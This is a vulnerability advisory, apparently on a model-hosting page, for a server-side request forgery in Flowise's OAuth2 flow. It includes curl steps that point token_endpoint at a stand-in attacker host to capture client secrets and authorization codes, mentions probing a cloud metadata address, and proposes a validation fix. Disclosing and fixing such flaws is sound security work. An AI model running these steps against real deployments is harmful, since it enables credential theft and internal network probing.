YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Flowise OAuth2 Credential-Forwarding SSRF via User-Controlled token_endpoint

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF) with Credential Forwarding

Severity

High โ€” Authenticated users can exfiltrate OAuth2 client secrets and authorization codes

Affected Component

  • File: packages/server/src/routes/oauth2/index.ts
  • Lines: 213-240 (token exchange), 336-355 (token refresh)
  • Version: Latest main branch (verified 2026-03-21)

Description

The Flowise OAuth2 authorization code flow allows authenticated users (with credentials:create permission) to configure custom OAuth2 providers by setting token_endpoint and authorization_endpoint in credential data. The token_endpoint URL is used without validation to exchange authorization codes for access tokens.

An attacker can create a credential with token_endpoint pointing to an attacker-controlled server. When the OAuth2 callback fires, Flowise sends a POST request to the attacker's server containing:

  • client_id
  • client_secret
  • authorization_code
  • redirect_uri
  • scope

Steps to Reproduce

1. Create malicious OAuth2 credential

As any authenticated Flowise user with credentials:create permission:

curl -X POST http://flowise:3000/api/v1/credentials \
  -H "Authorization: Bearer <user_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Malicious OAuth",
    "credentialName": "oAuth2Api",
    "encryptedData": {
      "client_id": "legitimate-app-id",
      "client_secret": "legitimate-secret",
      "token_endpoint": "https://attacker.com/steal-token",
      "authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
      "scope": "openid email profile"
    }
  }'

2. Initiate OAuth2 flow

curl -X POST http://flowise:3000/api/v1/oauth2/authorize/<credential_id>
# Returns authorization URL โ€” user authenticates normally with Google/Microsoft

3. Callback sends credentials to attacker

When the OAuth2 callback fires at /api/v1/oauth2/callback, the server executes:

// Line 213-240 in oauth2/index.ts
let tokenUrl = accessTokenUrl  // from credential's token_endpoint field
const tokenResponse = await axios.post(tokenUrl,
  new URLSearchParams(tokenRequestData).toString(), {
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
      Accept: 'application/json'
    }
  })

The attacker's server at https://attacker.com/steal-token receives:

client_id=legitimate-app-id&
client_secret=legitimate-secret&
code=4/0AX4XfWh...&
grant_type=authorization_code&
redirect_uri=http://flowise:3000/api/v1/oauth2/callback

4. Token refresh also affected

The same pattern exists in the token refresh flow (lines 336-355):

let tokenUrl = accessTokenUrl  // same user-controlled field
const tokenResponse = await axios.post(tokenUrl,
  new URLSearchParams(refreshRequestData).toString(), ...)

Impact

  1. Client secret theft โ€” attacker receives the OAuth2 client_secret which may grant long-term API access
  2. Authorization code theft โ€” attacker receives the one-time code which can be exchanged for access tokens at the real provider
  3. Session hijacking โ€” if the attacker responds with a valid-looking token, Flowise stores it in the credential, giving the attacker control over what token is used
  4. Internal network scanning โ€” by setting token_endpoint to internal URLs (e.g., http://169.254.169.254/latest/meta-data/), the attacker can probe internal infrastructure

Root Cause

The token_endpoint URL from credential configuration is used directly in axios.post() without:

  1. URL validation (no check for internal IPs, private ranges)
  2. Domain allowlisting (no restriction on where tokens are sent)
  3. Protocol enforcement (no HTTPS requirement)

Suggested Fix

Validate the token_endpoint URL before making requests:

import { URL } from 'url';
import { isPrivateIP } from '../utils/networking';

function validateTokenUrl(urlString: string): void {
  const url = new URL(urlString);

  // Require HTTPS
  if (url.protocol !== 'https:') {
    throw new Error('Token endpoint must use HTTPS');
  }

  // Block private IPs
  if (isPrivateIP(url.hostname)) {
    throw new Error('Token endpoint cannot point to private IP');
  }

  // Optional: allowlist known OAuth providers
  const ALLOWED_HOSTS = [
    'login.microsoftonline.com',
    'accounts.google.com',
    'oauth2.googleapis.com',
    'github.com',
  ];
  if (!ALLOWED_HOSTS.some(h => url.hostname.endsWith(h))) {
    logger.warn(`Non-standard OAuth token endpoint: ${url.hostname}`);
  }
}
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support